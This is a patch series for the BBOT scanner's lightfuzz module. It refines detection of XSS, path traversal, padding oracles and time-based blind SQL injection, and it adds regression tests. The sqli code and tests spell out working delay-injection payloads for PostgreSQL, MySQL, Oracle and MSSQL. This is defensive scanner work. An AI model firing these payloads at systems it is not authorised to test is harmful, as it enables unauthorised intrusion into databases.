23f1f14d1f..04cecc7e37 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -579,6 +579,102 @@ def check(self, module_test, events): assert backtick_finding, "JS Template Literal XSS FINDING not emitted" +# Negative test: param echoed in BOTH an HTML comment (with `-->` HTML-encoded, +# so no breakout there) AND in plain body text (verbatim). determine_context +# fires on the comment reflection, but the breakout match lands only in the +# body — outside any comment. _verify_match_context must reject this so no +# HTML Comment finding fires. +class Test_Lightfuzz_xss_html_comment_fp(Test_Lightfuzz_xss): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + Link + + """ + if "foo=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Comment: HTML-encode `-->` so the breakout is defanged. + comment_safe = decoded.replace("-->", "-->") + # Body: reflect verbatim (the differential-escaping FP case). + return Response( + f"

You searched for {decoded}

", + status=200, + ) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + html_comment_findings = [ + e for e in events if e.type == "FINDING" and "Context: [HTML Comment]" in e.data.get("description", "") + ] + assert not html_comment_findings, ( + f"HTML Comment XSS FINDING falsely emitted despite match landing outside comment context: " + f"{[f.data.get('description') for f in html_comment_findings]}" + ) + + +# Negative test: param echoed in BOTH a backtick string inside " + f"

You searched for {decoded}

", + status=200, + ) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + backtick_findings = [ + e + for e in events + if e.type == "FINDING" and "Context: [JS Template Literal]" in e.data.get("description", "") + ] + assert not backtick_findings, ( + f"JS Template Literal XSS FINDING falsely emitted despite match landing outside backtick context: " + f"{[f.data.get('description') for f in backtick_findings]}" + ) + + # Form Action Injection Detection class Test_Lightfuzz_xss_formaction(Test_Lightfuzz_xss): def request_handler(self, request): From ceb8cf6b8a69ede93b2b8d6ace9610c90a94af97 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 20:56:34 -0400 Subject: [PATCH 45/50] lightfuzz/crypto: catch HttpCompareError in padding_oracle_execute --- bbot/modules/lightfuzz/submodules/crypto.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index d2a13e87c0..1d28756eb5 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -482,12 +482,16 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook for i in range(starting_pos, starting_pos + 254): byte = bytes([i]) probe_value = self.format_agnostic_encode(ivblock + paddingblock[:-1] + byte + datablock, encoding) - oracle_probe = await self.compare_probe( - baseline, - self.event.data["type"], - probe_value, - cookies, - ) + try: + oracle_probe = await self.compare_probe( + baseline, + self.event.data["type"], + probe_value, + cookies, + ) + except HttpCompareError as e: + self.verbose(f"Encountered HttpCompareError during padding oracle probe: {e}") + return False # oracle_probe[0] will be false if the response is different - oracle_probe[1] stores what aspect of the response is different (headers, body, code) if oracle_probe[0] is False and "body" in oracle_probe[1]: # When the server reflects submitted values or reveals decrypted data, every probe will differ in the body. Strip the known probe values from both responses and re-compare. From 2cb2ad6004e16175194046a082283cb6099d1648 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 21:11:05 -0400 Subject: [PATCH 46/50] lightfuzz/path: add canary check to suppress search-field FPs --- bbot/modules/lightfuzz/submodules/path.py | 25 +++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index b189bfa2b0..b051c07682 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -163,6 +163,31 @@ async def fuzz(self): self.lightfuzz.waf_yara_rules, doubledot_response.text ) ): + # Canary check: a real path traversal would 404/500 on a random non-existent + # filename, but a search/filter field returns 200 with an empty results page + # for any input. If the canary also returns 200 with a body, it's a search + # field, not a file path handler — break to avoid an FP. + canary_name = self.lightfuzz.helpers.rand_string(10, digits=False) + canary_payload = payloads["doubledot_payload"].replace(probe_value, canary_name) + canary_probe = await self.compare_probe( + http_compare, + self.event.data["type"], + canary_payload, + cookies, + skip_urlencoding=True, + ) + canary_response = canary_probe[3] + canary_is_success = ( + canary_response is not None + and 200 <= canary_response.status_code < 300 + and bool(canary_response.text) + ) + if canary_is_success: + self.debug( + f"Path Traversal canary check failed: random filename also returned " + f"{canary_response.status_code} (likely a search/filter field, not a file path)" + ) + break confirmations += 1 self.verbose(f"Got possible Path Traversal detection: [{str(confirmations)}] Confirmations") # only report if we have 3 confirmations From 649143a30f767387e5a0b8e73d69f26a14582e46 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 26 May 2026 01:48:58 -0400 Subject: [PATCH 47/50] lightfuzz/reflected_parameters: merge probe into existing querystring Both build_query_string and send_probe_with_canary appended ?name=value to event.url with an f-string, producing URLs with multiple ? segments when the source WEB_PARAMETER already carried a querystring (common from wayback when url_querystring_remove=False). Route through add_get_params so the probe merges into the existing querystring instead. --- bbot/modules/lightfuzz/submodules/base.py | 14 +++--- bbot/modules/reflected_parameters.py | 6 ++- .../module_tests/test_module_lightfuzz.py | 44 +++++++++++++++++++ .../test_module_reflected_parameters.py | 29 ++++++++++++ 4 files changed, 87 insertions(+), 6 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index fb64f203bf..2c0c808cf2 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -91,11 +91,15 @@ def conditional_urlencode(self, probe, event_type, skip_urlencoding=False): return probe def build_query_string(self, probe, parameter_name, additional_params=None): - """Constructs a URL with query parameters from the given probe and additional parameters.""" - url = f"{self.event.url}?{parameter_name}={probe}" - if additional_params: - url = self.lightfuzz.helpers.add_get_params(url, additional_params, encode=False).geturl() - return url + """Constructs a URL with query parameters from the given probe and additional parameters. + + Merges into any existing querystring on ``self.event.url``: the probe replaces + ``parameter_name`` if it's already present, and ``additional_params`` fill in + alongside. Sibling params already in the URL are preserved. + """ + params = dict(additional_params) if additional_params else {} + params[parameter_name] = probe + return self.lightfuzz.helpers.add_get_params(self.event.url, params, encode=False).geturl() def prepare_request( self, diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index 460d1f96f9..e4ffa8d96d 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -66,7 +66,11 @@ async def send_probe_with_canary(self, event, parameter_name, parameter_value, c param_type = event.data["type"] if param_type == "GETPARAM": - url = f"{url}?{parameter_name}={parameter_value}&c4n4ry={canary_value}" + url = self.helpers.add_get_params( + url, + {parameter_name: parameter_value, "c4n4ry": canary_value}, + encode=False, + ).geturl() elif param_type == "COOKIE": cookies.update(params) elif param_type == "HEADER": diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 04cecc7e37..a79f6f1eac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1,6 +1,8 @@ import json import re import base64 +from types import SimpleNamespace +from urllib.parse import urlparse, parse_qs from .base import ModuleTestBase, tempwordlist from werkzeug.wrappers import Response @@ -8,9 +10,51 @@ import xml.etree.ElementTree as ET +from bbot.core.helpers.url import add_get_params +from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz + from .test_module_paramminer_headers import helper +def _make_base_lightfuzz(url): + event = SimpleNamespace(url=url, data={"name": "p"}) + lightfuzz = SimpleNamespace(helpers=SimpleNamespace(add_get_params=add_get_params)) + return BaseLightfuzz(lightfuzz, event) + + +def test_lightfuzz_build_query_string_no_existing_qs(): + bl = _make_base_lightfuzz("https://x.test/path") + assert bl.build_query_string("PROBE", "p") == "https://x.test/path?p=PROBE" + + +def test_lightfuzz_build_query_string_unrelated_existing_param(): + bl = _make_base_lightfuzz("https://x.test/path?init=true") + result = bl.build_query_string("PROBE", "p") + assert result.count("?") == 1 + assert parse_qs(urlparse(result).query) == {"init": ["true"], "p": ["PROBE"]} + + +def test_lightfuzz_build_query_string_probe_overrides_existing_same_param(): + bl = _make_base_lightfuzz("https://x.test/path?p=original&init=true") + result = bl.build_query_string("PROBE", "p") + assert result.count("?") == 1 + assert parse_qs(urlparse(result).query) == {"p": ["PROBE"], "init": ["true"]} + + +def test_lightfuzz_build_query_string_merges_additional_params(): + bl = _make_base_lightfuzz("https://x.test/path?init=true") + result = bl.build_query_string("PROBE", "p", additional_params={"unlock": "tok"}) + assert result.count("?") == 1 + assert parse_qs(urlparse(result).query) == {"init": ["true"], "p": ["PROBE"], "unlock": ["tok"]} + + +def test_lightfuzz_build_query_string_preserves_fragment(): + bl = _make_base_lightfuzz("https://x.test/path?init=true#frag") + result = bl.build_query_string("PROBE", "p") + assert result.count("?") == 1 + assert result.endswith("#frag") + + # Path Traversal single dot tolerance class Test_Lightfuzz_path_singledot(ModuleTestBase): targets = ["http://127.0.0.1:8888"] diff --git a/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py b/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py index a3e7f7416f..f4e84855c7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py +++ b/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py @@ -1,11 +1,40 @@ +from types import SimpleNamespace +from urllib.parse import urlparse, parse_qs + +import pytest + from .base import ModuleTestBase, tempwordlist from werkzeug.wrappers import Response import re +from bbot.core.helpers.url import add_get_params +from bbot.modules.reflected_parameters import reflected_parameters as reflected_parameters_module + from .test_module_paramminer_getparams import TestParamminer_Getparams from .test_module_paramminer_headers import helper +@pytest.mark.asyncio +async def test_reflected_parameters_send_probe_with_canary_merges_querystring(): + captured = {} + + async def fake_request(**kwargs): + captured["url"] = kwargs["url"] + return None + + mod = SimpleNamespace( + helpers=SimpleNamespace(add_get_params=add_get_params, request=fake_request), + debug=lambda *_a, **_kw: None, + ) + event = SimpleNamespace(url="https://x.test/path?init=true", data={"type": "GETPARAM"}) + + await reflected_parameters_module.send_probe_with_canary(mod, event, "p", "PROBE", "C4N", cookies={}) + + assert captured["url"].count("?") == 1 + qs = parse_qs(urlparse(captured["url"]).query) + assert qs == {"init": ["true"], "p": ["PROBE"], "c4n4ry": ["C4N"]} + + class TestReflected_parameters_fromexcavate(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["http", "reflected_parameters", "excavate"] From 8a7a9d113ac3a55ea6afe1b9043924b076c2e1cf Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 26 May 2026 01:49:05 -0400 Subject: [PATCH 48/50] excavate: read response body via event.body in ParameterExtractor.process ParameterExtractor.process read response_body from event.data['body'], which body-spill pops at HTTP_RESPONSE construction. Form-field extraction silently emitted no WEB_PARAMETERs whenever spill was on (default). Switch to event.body so the spill store is consulted. --- bbot/modules/internal/excavate.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index f924f8c0bb..e6e5cc7162 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -700,7 +700,9 @@ async def preprocess(self, r, event, discovery_context): async def process(self, yara_results, event, yara_rule_settings, discovery_context): # Group yields by (type, name, url) within an identifier; extra distinct values for # the same param are stashed in same_param_values so they survive WEB_PARAMETER dedup. - response_body = event.data.get("body", "") if isinstance(event.data, dict) else "" + # Use event.body (property) so we hit the body-spill store; event.data["body"] is + # popped at spill time and would be empty here. + response_body = getattr(event, "body", "") or "" for identifier, results in yara_results.items(): if identifier not in self.parameterExtractorCallbackDict.keys(): raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") From 6f47bdc3716a840c3d9c46d2e7a6f054865224ea Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 7 Jun 2026 14:31:00 -0400 Subject: [PATCH 49/50] sqli: two-stage scaling-delay confirmation for time-based blind detection --- bbot/modules/lightfuzz/submodules/sqli.py | 181 ++++++++++-------- .../module_tests/test_module_lightfuzz.py | 68 ++++++- 2 files changed, 157 insertions(+), 92 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index a677f0bbe4..545d54a494 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -1,8 +1,6 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError -import statistics - class sqli(BaseLightfuzz): """ @@ -23,8 +21,13 @@ class sqli(BaseLightfuzz): friendly_name = "SQL Injection" - expected_delay = 5 - # These are common error strings that strongly indicate SQL injection + delay_low = 3 + delay_high = 8 + delay_margin = 1.5 + delay_scale_margin = 1.75 + delay_stage1_reps = 3 + delay_stage2_reps = 3 + sqli_error_strings = [ "Unterminated string literal", "Failed to parse string literal", @@ -38,36 +41,16 @@ class sqli(BaseLightfuzz): "string not properly terminated", ] - def evaluate_delay(self, mean_baseline, measured_delay): - """ - Evaluates if a measured delay falls within an expected range, indicating potential SQL injection. - - Parameters: - - mean_baseline (float): The average baseline delay measured from non-injected requests. - - measured_delay (float): The delay measured from a potentially injected request. - - Returns: - - bool: True if the measured delay is within the expected range or exactly twice the expected delay, otherwise False. - - The function checks if the measured delay is within a margin of the expected delay or twice the expected delay, - accounting for cases where the injected statement might be executed twice. - """ - margin = 1.5 - if ( - mean_baseline + self.expected_delay - margin - <= measured_delay - <= mean_baseline + self.expected_delay + margin - ): - return True - # check for exactly twice the delay, in case the statement gets placed in the query twice (a common occurrence) - elif ( - mean_baseline + (self.expected_delay * 2) - margin - <= measured_delay - <= mean_baseline + (self.expected_delay * 2) + margin - ): - return True - else: - return False + DELAY_PROBE_TEMPLATES = [ + "'||pg_sleep({d})--", + "' OR (SELECT TRUE FROM pg_sleep({d})) LIMIT 1-- -", + "1' AND (SLEEP({d})) AND '", + "' OR SLEEP({d}) IS NOT NULL LIMIT 1-- -", + " OR SLEEP({d}) IS NOT NULL LIMIT 1-- -", + "' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({d})=0) AND '1'='1", + "'; WAITFOR DELAY '00:00:{d:02d}'--", + "; WAITFOR DELAY '00:00:{d:02d}'--", + ] async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, rounds=2): """Run additional confirmation rounds with fresh baselines to rule out transient server/CDN flaps. @@ -218,27 +201,6 @@ async def fuzz(self): except HttpCompareError as e: self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}") - # Time-based blind SQLi payloads across DB families. Each probe is engineered - # to fire its delay exactly once so the measured elapsed time stays close to - # self.expected_delay regardless of table row count. Row-independent variants - # use `IS NOT NULL` (since SLEEP returns 0 — not NULL) combined with `LIMIT 1` - # to force a single match on the first row scanned. - standard_probe_strings = [ - # postgres - f"'||pg_sleep({self.expected_delay})--", - f"' OR (SELECT TRUE FROM pg_sleep({self.expected_delay})) LIMIT 1-- -", - # mysql (row-dependent; fires once when original_value matches a row) - f"1' AND (SLEEP({self.expected_delay})) AND '", - # mysql (row-independent; one SLEEP, exits on first row via LIMIT 1) - f"' OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -", - f" OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -", - # oracle (DUAL is single-row so DBMS_LOCK.SLEEP fires once) - f"' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({self.expected_delay})=0) AND '1'='1", - # mssql (stacked query, fires once) - f"'; WAITFOR DELAY '00:00:{self.expected_delay}'--", - f"; WAITFOR DELAY '00:00:{self.expected_delay}'--", - ] - baseline_1 = await self.standard_probe( self.event.data["type"], cookies, probe_value, additional_params_populate_empty=True ) @@ -246,61 +208,112 @@ async def fuzz(self): self.event.data["type"], cookies, probe_value, additional_params_populate_empty=True ) - # get a baseline from two different probes. We will average them to establish a mean baseline if baseline_1 and baseline_2: baseline_1_delay = baseline_1.elapsed.total_seconds() baseline_2_delay = baseline_2.elapsed.total_seconds() - mean_baseline = statistics.mean([baseline_1_delay, baseline_2_delay]) + base_floor = min(baseline_1_delay, baseline_2_delay) - # CDN cache-miss control: junk value misses the edge cache like our SQL payloads - # would. If its delay lands in the SLEEP() window, the latency is cache-miss, not - # SQL execution — bail to avoid false positives. junk_value = f"{probe_value}{self.lightfuzz.helpers.rand_string(20, numeric_only=True)}" junk_response = await self.standard_probe( self.event.data["type"], cookies, junk_value, additional_params_populate_empty=True ) - if junk_response and self.evaluate_delay(mean_baseline, junk_response.elapsed.total_seconds()): - self.debug( - "Junk control probe matched delay window — CDN cache-miss pattern, aborting time-based tests" - ) - return + if junk_response: + junk_delta = junk_response.elapsed.total_seconds() - base_floor + if any(abs(junk_delta - k * self.delay_low) <= self.delay_margin for k in (1, 2)): + self.debug("Junk control probe matched delay window, aborting time-based tests") + return - for p in standard_probe_strings: - confirmations = 0 - for i in range(0, 3): - # send the probe 3 times, and check if the delay is within the detection threshold + for template in self.DELAY_PROBE_TEMPLATES: + # Stage 1: fast gate at delay_low + low_times = [] + stage1_failed = False + for _ in range(self.delay_stage1_reps): + payload_low = template.format(d=self.delay_low) r = await self.standard_probe( self.event.data["type"], cookies, - f"{probe_value}{p}", + f"{probe_value}{payload_low}", additional_params_populate_empty=True, timeout=20, ) if not r: - self.debug("delay measure request failed") + self.debug("Stage 1 delay probe request failed") + stage1_failed = True break + if r.status_code == 403: + self.debug("Stage 1 probe returned 403, skipping template") + stage1_failed = True + break + low_times.append(r.elapsed.total_seconds()) - d = r.elapsed.total_seconds() - self.debug(f"measured delay: {str(d)}") - if self.evaluate_delay( - mean_baseline, d - ): # decide if the delay is within the detection threshold and constitutes a successful sleep execution - confirmations += 1 - self.debug( - f"{self.event.url}:{self.event.data['name']}:{self.event.data['type']} Increasing confirmations, now: {str(confirmations)} " - ) - else: + if stage1_failed or not low_times: + continue + + f_low = min(low_times) + d_low = f_low - base_floor + + k = None + for candidate_k in (1, 2): + if abs(d_low - candidate_k * self.delay_low) <= self.delay_margin: + k = candidate_k break - if confirmations == 3: + if k is None: + self.debug(f"Stage 1 rejected: d_low={d_low:.2f}s does not match delay_low={self.delay_low}s") + continue + + self.verbose(f"Stage 1 passed {self.event.url}: d_low={d_low:.2f}s, k={k}, proceeding to Stage 2") + + # Stage 2: scaling confirmation at delay_high + high_times = [] + stage2_failed = False + for _ in range(self.delay_stage2_reps): + payload_high = template.format(d=self.delay_high) + r = await self.standard_probe( + self.event.data["type"], + cookies, + f"{probe_value}{payload_high}", + additional_params_populate_empty=True, + timeout=30, + ) + if not r: + self.debug("Stage 2 delay probe request failed") + stage2_failed = True + break + if r.status_code == 403: + self.debug("Stage 2 probe returned 403, skipping template") + stage2_failed = True + break + high_times.append(r.elapsed.total_seconds()) + + if stage2_failed or not high_times: + continue + + f_high = min(high_times) + d_high = f_high - base_floor + + absolute_ok = abs(d_high - k * self.delay_high) <= self.delay_margin + scaling_ok = abs((f_high - f_low) - k * (self.delay_high - self.delay_low)) <= self.delay_scale_margin + + if absolute_ok and scaling_ok: self.results.append( { "name": "Possible Blind SQL Injection", "severity": "HIGH", - "confidence": "LOW", - "description": f"Possible Blind SQL Injection. {self.metadata()} Detection Method: [Delay Probe ({p})]", + "confidence": "MEDIUM", + "description": ( + f"Possible Blind SQL Injection. {self.metadata()} " + f"Detection Method: [Delay Probe " + f"(k={k}, {self.delay_low}s->{d_low:.1f}s, {self.delay_high}s->{d_high:.1f}s)] " + f"Payload: [{payload_high}]" + ), } ) + else: + self.verbose( + f"Stage 2 rejected {self.event.url}: d_high={d_high:.2f}s, " + f"absolute_ok={absolute_ok}, scaling_ok={scaling_ok}" + ) else: self.debug("Could not get baseline for time-delay tests") diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index a79f6f1eac..1457b3a643 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1529,8 +1529,10 @@ def request_handler(self, request):
""" - if "' AND (SLEEP(5)) AND '" in unquote(value): - sleep(5) + decoded = unquote(value) + m = re.search(r"AND \(SLEEP\((\d+)\)\) AND", decoded) + if m: + sleep(int(m.group(1))) return Response(sql_block, status=200) return Response(parameter_block, status=200) @@ -1543,9 +1545,11 @@ def check(self, module_test, events): web_parameter_emitted = True if e.type == "FINDING": + desc = e.data["description"] if ( - "Possible Blind SQL Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [Delay Probe (1' AND (SLEEP(5)) AND ')]" - in e.data["description"] + "Possible Blind SQL Injection" in desc + and "Delay Probe" in desc + and "1' AND (SLEEP(8)) AND '" in desc ): sqldelay_finding_emitted = True @@ -1590,8 +1594,9 @@ def request_handler(self, request): # Only the one-shot row-independent MySQL payload triggers a delay. # The original AND-based mysql probe does not fire here, simulating # a context where the injected value does not match any row. - if "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in decoded: - sleep(5) + m = re.search(r"OR SLEEP\((\d+)\) IS NOT NULL", decoded) + if m: + sleep(int(m.group(1))) return Response(sql_block, status=200) return Response(parameter_block, status=200) @@ -1604,7 +1609,11 @@ def check(self, module_test, events): web_parameter_emitted = True if e.type == "FINDING": desc = e.data["description"] - if "Possible Blind SQL Injection" in desc and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc: + if ( + "Possible Blind SQL Injection" in desc + and "Delay Probe" in desc + and "OR SLEEP(8) IS NOT NULL LIMIT 1-- -" in desc + ): one_shot_delay_finding = True # Guard against regression of the missing-comma bug: Python string-literal @@ -1618,10 +1627,53 @@ def check(self, module_test, events): assert web_parameter_emitted, "WEB_PARAMETER was not emitted" assert one_shot_delay_finding, ( - "One-shot row-independent SLEEP finding not emitted — row-independent blind sqli detection regression." + "One-shot row-independent SLEEP finding not emitted - row-independent blind sqli detection regression." ) +class Test_Lightfuzz_sqli_delay_jitter_fp(Test_Lightfuzz_sqli): + """Payload-independent jitter must not produce a blind SQLi finding.""" + + _jitter_idx = 0 + + def request_handler(self, request): + from time import sleep + + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + sql_block = """ +
+

0 search results found

+
+
+ """ + jitter = [0.1, 0.4, 0.15, 0.5, 0.2, 0.35, 0.45, 0.1, 0.3, 0.25] + idx = self.__class__._jitter_idx + sleep(jitter[idx % len(jitter)]) + self.__class__._jitter_idx = idx + 1 + return Response(sql_block, status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + self.__class__._jitter_idx = 0 + await super().setup_after_prep(module_test) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING" and "SQL Injection" in e.data.get("description", ""): + raise AssertionError( + f"False positive: finding emitted under jitter-only conditions: {e.data['description']}" + ) + + # Serialization Module (Error Resolution) class Test_Lightfuzz_serial_errorresolution(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From 75bf8263c47747d4d5ed8d2495d6c63648f5e066 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 09:58:54 -0400 Subject: [PATCH 50/50] Fix keystream-reuse FP, cmdi octal bug, type mutation leak, connectivity cache poisoning - crypto: filter structured hex IDs (Mongo ObjectIds, hex timestamps, sequential counters) from keystream-reuse detector via tail analysis - cmdi: reject leading-zero arithmetic multiplicands (bash octal divergence) - lightfuzz: restore event type/flags after try_get_as_post conversion passes - lightfuzz: don't cache None connectivity responses (transient failure) - Add 16 regression tests covering all four fixes --- bbot/modules/lightfuzz/lightfuzz.py | 12 +- bbot/modules/lightfuzz/submodules/cmdi.py | 2 +- bbot/modules/lightfuzz/submodules/crypto.py | 49 ++ .../module_tests/test_module_lightfuzz.py | 437 ++++++++++++++++++ 4 files changed, 496 insertions(+), 4 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 08e074dd8b..1e4e3bb017 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -151,9 +151,10 @@ async def _connectivity_test(self, prime_url): if prime_url in cache: return cache[prime_url] response = await self.helpers.request(prime_url, timeout=10) - if len(cache) >= self._connectivity_test_cache_max: - cache.pop(next(iter(cache))) - cache[prime_url] = response + if response is not None: + if len(cache) >= self._connectivity_test_cache_max: + cache.pop(next(iter(cache))) + cache[prime_url] = response return response @staticmethod @@ -329,6 +330,11 @@ async def handle_event(self, event): self.debug(f"Starting {submodule_name} fuzz() (try_get_as_post)") await self.run_submodule(submodule, event) finally: + # Restore the original type so downstream consumers see the + # correct value after the conversion passes. + event.data["type"] = original_type + event.data.pop("converted_from_post", None) + event.data.pop("converted_from_get", None) # Drop the per-event baseline cache once all submodules have run. self._baseline_cache.pop(event.id, None) else: diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index d35db529e3..05e753d965 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -54,7 +54,7 @@ async def fuzz(self): while True: arith_a = self.lightfuzz.helpers.rand_string(5, numeric_only=True) arith_b = self.lightfuzz.helpers.rand_string(5, numeric_only=True) - if int(arith_a) and int(arith_b): + if int(arith_a) and int(arith_b) and arith_a[0] != "0" and arith_b[0] != "0": break arith_canary = str(int(arith_a) * int(arith_b)) http_compare = self.compare_baseline( diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 1d28756eb5..29312d7f0d 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -39,6 +39,49 @@ def _ascii_xor_score(b): return sum(1 for x in b if x <= 0x60) / len(b) +def _is_structured_id_pair(bytes_a, bytes_b, xored, zero_run): + """True when the pair looks like structured identifiers (MongoDB ObjectIds, + hex timestamps, sequential counters, time-ordered UUIDs) rather than + reused-keystream ciphertexts. + + Structured IDs share a long byte prefix (timestamp, process ID, ...) and + differ only in a short counter/random suffix. Their XOR has a long leading- + zero run followed by a sparse or random tail -- superficially identical to + keystream reuse with shared-prefix plaintexts, but distinguishable by what + the tail looks like. + + Real many-time-pad: the tail is XOR of diverging ASCII plaintexts -- dense, + diverse bytes mostly in [0x00, 0x60]. + + Structured IDs: the tail is either a small counter delta (sparse zeros with + one nonzero byte) or random machine/process bytes (fails ASCII-XOR check). + """ + tail = xored[zero_run:] + + # 0-1 differing bytes is always a counter tick. + if len(tail) < 2: + return True + + # Same-length values whose entire difference fits in <= 4 bytes are + # incrementing identifiers (MongoDB ObjectId 3-byte counter, hex + # timestamps differing by 1-2 bytes, etc.). + if len(bytes_a) == len(bytes_b) and len(tail) <= 4: + return True + + # For longer tails: real many-time-pad XOR reveals XOR of diverging ASCII + # plaintexts -- dense nonzero bytes mostly in [0x00, 0x60]. Random + # suffixes (UUID v7 random bits, different-process machine bytes) and + # sparse counters both fail these checks. + distinct_nonzero = len(set(b for b in tail if b != 0)) + if distinct_nonzero < 2: + return True + + if _ascii_xor_score(tail) < 0.7: + return True + + return False + + class crypto(BaseLightfuzz): """ Detects the use of cryptography in web parameters, and probes for some cryptographic vulnerabilities @@ -320,6 +363,12 @@ def detect_keystream_reuse(self, probe_value): # At least 2 leading zero bytes OR ≥90% of bytes in ASCII-XOR-ASCII range if zero_run < 2 and ascii_score < 0.9: continue + # A leading-zero run alone is the hallmark of structured hex + # identifiers (MongoDB ObjectIds, hex timestamps, sequential + # counters, time-ordered UUIDs) sharing a byte prefix -- not + # keystream reuse. Filter those out by examining the tail. + if zero_run >= 2 and _is_structured_id_pair(bytes_a, bytes_b, xored, zero_run): + continue pair_score = (zero_run, ascii_score) if best is None or pair_score > (best[0], best[1]): best = (zero_run, ascii_score, label_a, raw_a, label_b, raw_b, xored) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 1457b3a643..d610cc38a8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -4905,3 +4905,440 @@ def check(self, module_test, events): assert any(r.endswith("/host.html") for r in referers), ( f"action POSTs did not carry Referer pointing to host page; got: {referers}" ) + + +# --------------------------------------------------------------------------- +# Keystream-reuse false-positive discrimination +# --------------------------------------------------------------------------- +# +# Unit tests exercising detect_keystream_reuse against: +# - TRUE POSITIVES: real XOR-encrypted ciphertexts 